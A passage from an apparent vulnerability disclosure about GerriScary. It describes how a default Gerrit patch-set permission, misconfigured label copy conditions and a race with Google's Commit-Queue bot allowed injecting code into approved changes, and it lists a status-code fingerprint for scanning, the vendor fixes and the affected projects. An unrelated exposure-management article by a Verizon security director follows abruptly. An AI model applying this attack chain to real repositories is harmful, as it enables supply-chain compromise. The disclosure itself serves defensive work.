A number of Google projects were affected, including ChromiumOS, third-party Chromium packages, Bazel and Dart. For a full list of affected packages please see Appendix A. 

By default, Gerrit contains a default permission (“addPatchSet”) that allows any registered user to modify existing code change suggestions. In addition to this permission, some of the vulnerable projects contained a logic flaw in the patch set approval process that caused new patch sets not to require new code reviews and approvals as intended. This flaw allowed a risky scenario where a legitimate code change approved by trusted developers would remain trusted and approved even when malicious code is pushed by an attacker - without requiring any re-confirmation or approval.

Google and the ChromiumOS team changed the label persistence configuration across patch sets in the vulnerable projects to mitigate the issue.

The ChromiumOS team also pushed a change to limit the “addPatchSet” permission to trusted contributors.

Technical detailsBackground and basic Gerrit terms 

Our GerriScary discovery began when, during another research project, we stumbled upon the following link: https://chromium.googlesource.com/

The source code of the open-source product in that specific case, Chromium, was present in the googlesource.com domain. Users can easily access the corresponding Gerrit project through the “Code Review” button in this domain while logged in to a Google account.

Just like Chromium, there are many projects with corresponding subdomains that Google hosts, such as dart.googlesource.com and its corresponding Gerrit system dart-review.googlesource.com.
 

Gerrit: Dart project

Since anyone can register, we registered, and logged in with our Google account. The natural attacker’s question arises: What can a registered user do in Gerrit? We tried to create a code change, to see if we could push it. As expected, it failed.

After reading Gerrit’s documentation, we got more clarity on the terms. From Gerrit’s documentation on patch sets:

“As described in Changes, a change represents a single commit under review. Each change is assigned a Change-Id. It is very common to amend a commit during the code review process. Gerrit uses the Change-Id to associate each iteration of the commit with the same change. These iterations of a commit are referred to as patch sets. When a change is approved, only the latest version of a commit is submitted to the repository.”

Basically, each patch set is a new commit version.

Gerrit’s access controlPermissions and labels

Gerrit’s security model revolves around two key technical structures: permissions, which define who can perform actions; and labels, which define what approvals are required before code changes can be merged into a project.

Permissions are enforced based on Git references, such as refs/heads/*, refs/for/*, and refs/meta/* — and they dictate actions like reading, pushing, submitting and editing changes. Permissions are granted to groups, and those groups can be globally defined, such as Registered Users, or locally scoped to the project or even to the change itself. 

For example, a commonly configured permission is “addPatchSet”, which, when granted, allows a user to upload a new patchset to an existing code change, even if that change was created by someone else. 

The voting system (labels)

An example of active code change

The second mechanism, labels, also known as “Submit Requirements,” are metadata scores applied during the code review process. Labels are declared in the project’s configuration and typically include fields like “Code-Review” and “Verified.” Each label has a defined scoring range. For example, “Code-Review” may allow scores from -2 (strong disapproval) to +2 (final approval), while Verified might allow -1 and +1 to represent test failures or passes. Labels serve as gates: for a change to be eligible for submission, it must satisfy the label rules set in the project configuration.

Permissions and labels are managed in a configuration file called project.config. This file specifies the permissions granted to users for each project.

Each permission rule in project.config follows a structure like this:

[access "refs/heads/*"] label-Code-Review = -2..+2 group Registered Users submit = group Project Owners push = group Registered Users

The example above demonstrates a highly permissive configuration: any registered user—a user who merely created a Gerrit account - could push changes directly to the refs/heads/* namespace and decide on a “Code-Review +2.”

Component 1: Free addPatchSets

The interesting fact about permission handling in Gerrit is the following quote from Gerrit’s documentation, referencing the “addPatchSet” permission:

“By default, this permission is granted to Registered Users on refs/for/*, allowing all registered users to upload a new patch set to any change. Revoking this permission (by granting it to no groups and setting the "Exclusive" flag) will prevent users from uploading a patch set to a change they do not own.”

That default sounds reasonable since Gerrit is a community-based system > However, it probably can open the door to more attacks, like GerriScary.

We checked these defaults and it seems like they are present in many Google projects.

Component 2: The “woah” moment

When pressing the “Reply” button on code changes to try and add votes and affect the voting system, we did not have enough permissions to upvote any submission requirements:
 

No permissions to vote on any submit requirement

So we wondered: What if we find a code change that has already been approved and has its submission requirements satisfied and then add our malicious code with “addPatchSet”? What will happen to the submission requirements? Surprisingly, in some cases, nothing.

We discovered that we can abuse a Gerrit mechanism called “Copy Conditions”. Turns out that the vulnerable Google projects are configured to copy their labels to additional patch sets. “Copy Conditions” in Gerrit define whether label scores from prior patch sets are retained on new revisions, based on the nature of the change, such as unchanged code or purely metadata edits. Label scores also play a crucial role in determining if a change must be re-reviewed. 

The “Copy Conditions” rules are pretty complicated to write and understand, which might be the reason they made the affected projects vulnerable.

The affected projects had misconfigured “Copy Conditions” in place that allowed us to add our malicious patch sets and retain the submit requirements. Alarmingly, this resulted in a code change that contained malicious code and was fully approved.

In submittable code changes, all of the submit requirements and label scores are completed or fulfilled. We were able to find submittable code changes by using Gerrit queries and scraping. For example:
 

Using Gerrit queries to find submittable code changes

Component 3: Completing the attack chain

The final step to merge a code change is to submit it successfully. Most projects we observed handle verified code-change submissions with automated bots, and some of them are handled by developers who have to press “Submit” to submit the verified code change. When a developer presses “Submit,” a bot will merge the code change.
 

The Commit Queue bot merges the code change

In most cases, we did not have the “Submit” permission. Sometimes the bot pushed the code change seconds after the code change was verified, and sometimes it took minutes, or hours, which allowed eagle-eyed developers to stop or block the malicious code-push attempt.

We wanted to minimize this window to zero, resulting in a full supply-chain compromise without any user interaction by the victim.

The solution: Research the submission process and race it

We discovered we can successfully race the automated bot submission. A race condition attack happens when two or more things try to happen at the same time, and the outcome depends on who finishes first.

Here’s how we did it.

Gerrit project maintainers can create custom labels. Google has its own custom label named “Commit-Queue”. In Google's setup, a vote of “Commit-Queue+2” instructs an automated bot to finalize and submit the code change.

When the "Commit-Queue" label in particular is equal to 2, it signals to the automation bot to submit a merge and the bot eventually merges the change. Some of these bots' operations can be observed by looking at merged change logs.

Let’s use this as an example: https://dart-review.googlesource.com/c/sdk/+/392640

In this specific case, a bot named Commit-Queue - [email protected] has pushed the change. We have not yet observed a repository that operates differently.

This is the exact timing delay attackers can abuse: The race window from a “Commit-Queue” to a successful bot submission. As an example, it’s five minutes in ChromiumOS and in Dart repositories, and seconds to a minute on other Google repositories:
 

Example of the five-minute time difference between the Commit Queue vote and an actual merge

The “Copy Conditions” logic flaw can be abused to get the race, as mentioned. This setting includes labels like "Code Review", but also controls custom labels like the "Commit Queue" label that Google uses in its Gerrit instances.

Given this configuration, any modified code that retains “Submit Requirements” can lead to a full chain of malicious code pushed to the vulnerable repositories, without any user interaction at all. 

Attackers could look for submittable code changes that were also labeled “Commit-Queue +2”, and race the bot submission by adding a malicious patch set just before it merges the code change.

Full chain explanation

Here’s what happens on ChromiumOS when you abuse these three components:

• Default “addPatchSet” permission granted to registered users
• Unsafe labels’ “Copy Conditions” logic on vulnerable projects
• Race window from commit queue vote to bot submission and an unsafe custom “Commit-Queue” label copy condition logic

Attackers can write a scraper or query the Gerrit API with automation to hook changes that have a submittable status, and have been labeled “Commit-Queue +2”. When the exploit code detects such a change, it will modify the change's code with the “addPatchSet” permission, and inject malicious code into the change, all of whose submit requirements have been verified and fulfilled. Since the change was already voted “Commit-Queue +2”, it's a matter of 5 minutes in ChromiumOS and in Dart repositories as an example, and seconds to a minute on other Google repositories, until the change is merged by the bot, including the malicious code. This is the exact race window the attacker has - between the commit-queue +2 vote, to the bot actually submitting the change.

This “Copy Conditions” misconfigurations allows for abusing the “addPatchSet” permission which is granted by default to registered users, to inject malicious code into a change without a vote reset. Because of that, although we did not confirm it specifically as a precaution, it is highly likely that the copyCondition logic for the "Commit-Queue" label is similarly misconfigured to copy votes across patch sets.

Mass scanning of Google projects by developing a custom fuzzer

Since we do not have permission to view the config of each Gerrit project (project.config file), we opted to dynamically scan Google’s Gerrit projects, without disrupting the projects.

We discovered a fingerprinting technique in Gerrit that allowed us to determine whether we have the “addPatchSet” permission on a project. By analyzing the HTTP response status code of a request to modify a commit message, we observed that a successful request—when properly authorized—returns a “200 OK” status, which is expected.
 

Commit message example is marked in red

However, sending commit message modification requests to many projects is both noisy and inefficient. We found that submitting the same commit message that is already present in a modification request returns a “209” status code (can be used as a fingerprint) if we have the required permission. Using this method, we were able to scan Google’s Gerrit projects and identify many affected ones. 

More attacks

We discovered some Google projects that allow denial of service and disruption of code changes; modifications by registered users such as removing and adding code change CCs (carbon copy) and reviewers; and messing with submit-requirement votes to deny code changes from being pushed:
 

Proof of concept

To support the vulnerability disclosure, we created POCs on ChromiumOS, Dart, and two third-party packages of Chromium: Dawn and BoringSSL. To avoid disruption, we did not live test the race condition component, but we did test uploading an innocent comment to some Google projects. These allowed us to prove the impact of GerriScary, while following ethical research rules.

One comment we added to a random file in a ChromiumOS project was actually pushed, and can be seen on the ChromiumOS code search tool as a valid POC for our findings:
 

ChromiumOS code injection POC

Vendor response

Google fixed the label-persistence configuration (“Copy Conditions”) in the affected projects. This change ensured that new patch sets now require fresh code reviews and verifications by developers, preventing previously approved labels from carrying over without re-evaluation.

The ChromiumOS team also decided to remove the “addPatchSet” permission from the Registered Users group, and to only give the permission to trusted contributors.

These proactive steps were part of Google's commitment to maintaining the security and integrity of its systems.

While these Google-managed projects have been secured, other projects utilizing Gerrit may still be vulnerable and should apply secure configurations to mitigate potential risks.

Appendix A - List of Google Projects Vulnerable to GerriScary

https://chromium-review.googlesource.com/c/chromiumos - (ChromiumOS)

https://dart-review.googlesource.com/ - (Frontend language, the backbone of Flutter apps)

https://dawn-review.googlesource.com/ - (3rd party Chromium dependency)

https://boringssl-review.googlesource.com/ - (3rd party Chromium dependency)

https://gn-review.googlesource.com/ - (Build system of Chromium, Fuchsia, and related projects)

https://bazel-review.googlesource.com - (Google's build engine)

https://gerrit-review.googlesource.com/#(/zull/jobs) - (Gerrit itself, /zull/jobs and /gcompute-tools specifically)

https://ceres-solver-review.googlesource.com/ - (C++ library)

https://code-review.googlesource.com/ - (Includes a Git mirror)

https://quiche-review.googlesource.com - (Google's production-ready implementation of QUIC, HTTP/2, HTTP/3, and related protocols and tools)

https://android-kvm-review.googlesource.com/ - (Virtualized Android runtime)

https://opensecura-review.googlesource.com/ - (AI hardware backbone)

https://cue-review.googlesource.com/ - (Data validation language)

https://linux-review.googlesource.com/ - (Open-source operating system)

https://plan9port-review.googlesource.com/ - (Unix with Plan 9 utilities)

https://hafnium-review.googlesource.com/ - (Supplies memory isolation)

https://nginx-review.googlesource.com/ - (High-performance web server)

https://weave-review.googlesource.com/ - (Network application layer protocol)

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this post, Jorge Orchilles, Senior Director of Readiness and Proactive Security at Verizon, offers an up-close glimpse at the thinking that drove his move to exposure management. You can read the entire Exposure Management Academy series here.

As we shift our security focus at Verizon to proactive exposure management, we’re consolidating tools and teams to focus on real-world, exploitable risks. By aligning offensive security functions under a unified strategy, prioritizing exploitable threats and fostering collaboration, we're moving our focus beyond compliance-based remediation to risk-based remediation.

You know the story: Those of us in cybersecurity play a high-stakes game of Whac-a-mole® just about every day. We spend our lives chasing down vulnerabilities and issuing (or responding to) mandates like, "Patch within 30 days” or “Code red, patch now!”

But as attack surfaces grow and threat actors become more sophisticated, this reactive approach has become inadequate. 

At Verizon, we recognized that, with such a heterogeneous landscape that has to serve the diverse needs of corporate, retail, mobile field techs and more, the best solution was not another collection of disparate tech. We needed a single, consolidated exposure management platform that could cover every corner of our enterprise. The journey to get there broke down silos and shifted our mindset from being compliance-driven to a risk-based focus. 

Importantly, before we even considered new technology, we needed to align multiple teams, each with their own tools and priorities, behind a shared strategy.

Bringing separate tools together as one

Security teams have always juggled a patchwork of tools: Separate tools for attack surface management, asset visibility, vulnerability scanning, identity exposure and cloud security. In most companies, different teams operate the solutions and each one requires its own set of expertise. The intent of the fragmentation is to ensure you have people with the right skills remediating the right problems. 

The siloed approach slows response times and creates blind spots that can leave critical vulnerabilities unaddressed simply because they fall outside a team’s area of expertise. You cannot do attack path analysis in silos!

I don’t want to be in the business of just checking boxes. 

We needed to build a security program that prioritizes real-world risks, rather than every vulnerability. And, in that effort, it’s clear that the value of an integrated approach outweighs the benefits of niche features.

So, to handle these challenges, we opted to consolidate under a single platform: Tenable One.

The key to managing change: A little bit of Dale Carnegie 

While the right platform makes all the difference, implementing exposure management isn't purely technical. It’s organizational. Launching an exposure management program means shifting ownership of key, siloed security functions, which can require teams to work together in ways they haven’t before.

For example, at Verizon, attack surface management was previously handled by a separate team. Now, those individuals are part of my group. The Active Directory team, which runs identity exposure tools like Bloodhound, remains independent, but we collaborate closely so they see the security insights as valuable rather than punitive. 

The internet of things (IoT) and operational technology (OT) security specialists who previously used a different set of tools now all work within the same framework.

Security teams accustomed to working in silos must now share data and decision-making, which can be a tough adjustment. I found that the key to overcoming this is transparency and partnership. 

In fact, reading a bit of Dale Carnegie regularly can be just as important as a daily dose of Brian Krebs. 

So, to ease the transition, rather than imposing top-down mandates, we’ve focused on aligning teams through shared objectives, clear communication and demonstrating value early in the process. By involving stakeholders from the start, in areas like identity security, IT operations and cloud security, we’re ensuring that change isn’t something done to them, but something they actively shape and support.

I want to emphasize that none of this happened overnight. 

It required high-level buy-in and careful planning. These teams weren’t just being asked to use a new tool, they were being asked to change the way they work. The only way to make that transition successful is by showing team members how this approach makes their jobs easier, not harder.

Stop trying to fix everything

One of the biggest mindset shifts in exposure management is recognizing that not every vulnerability needs to be patched immediately. Sure, it can be a hard thing to wrap your head around. But when everything is critical, nothing is critical. And that approach just leads to burnout, inefficiency and more exposures. 

Instead, at Verizon, we focus on vulnerabilities that are actually exploitable and part of a realistic attack path.

So, if there’s a critical vulnerability in an application but no feasible way for an attacker to reach it, should it really be the top priority? On the other hand, if a vulnerability provides a direct path to a crown jewel asset, we need to address it immediately. 

The key is prioritization based on real-world attack scenarios, not arbitrary severity scores.

Working with the C-suite

Another critical advantage of exposure management is how it changes security conversations at the executive level. Instead of delivering long lists of vulnerabilities that mean little to non-technical leaders, we can present a clear picture in a few key points:

• What’s at risk?
• How could an attacker get in?
• What are the most urgent priorities to fix?

And when a major vulnerability hits, we don’t have to scramble to figure out if we are affected. We have the data at our fingertips. That’s the real value of exposure management: Speed, clarity and the ability to act before attackers do.

The future of cybersecurity is proactive exposure management

At its core, exposure management is about shifting from reactive security to proactive security. It’s not just about fixing vulnerabilities anymore. It’s about understanding risk in the context of the business. 

As more organizations move in this direction, exposure management will continue to evolve. 

Vendor consolidation is ongoing, teams are being restructured and security leaders are realizing that patching everything everywhere all at once is an impossible task. 

So, like Verizon, the industry must focus on what really matters: Preventing the attacks that could actually lead to a compromise.

And for those of us at the tip of the spear in this shift, it’s time to stop being reactive and start managing exposure like the strategic risk it is.

Jorge shares what you should focus on next 

 

Learn more

• Read the Security leaders’ guide to exposure management strategy, a proven, pragmatic approach to standing up an exposure management program — plus advice for scoping it, engaging stakeholders and obtaining buy-in.

Whac-a-Mole is a registered trademark of Mattel Inc.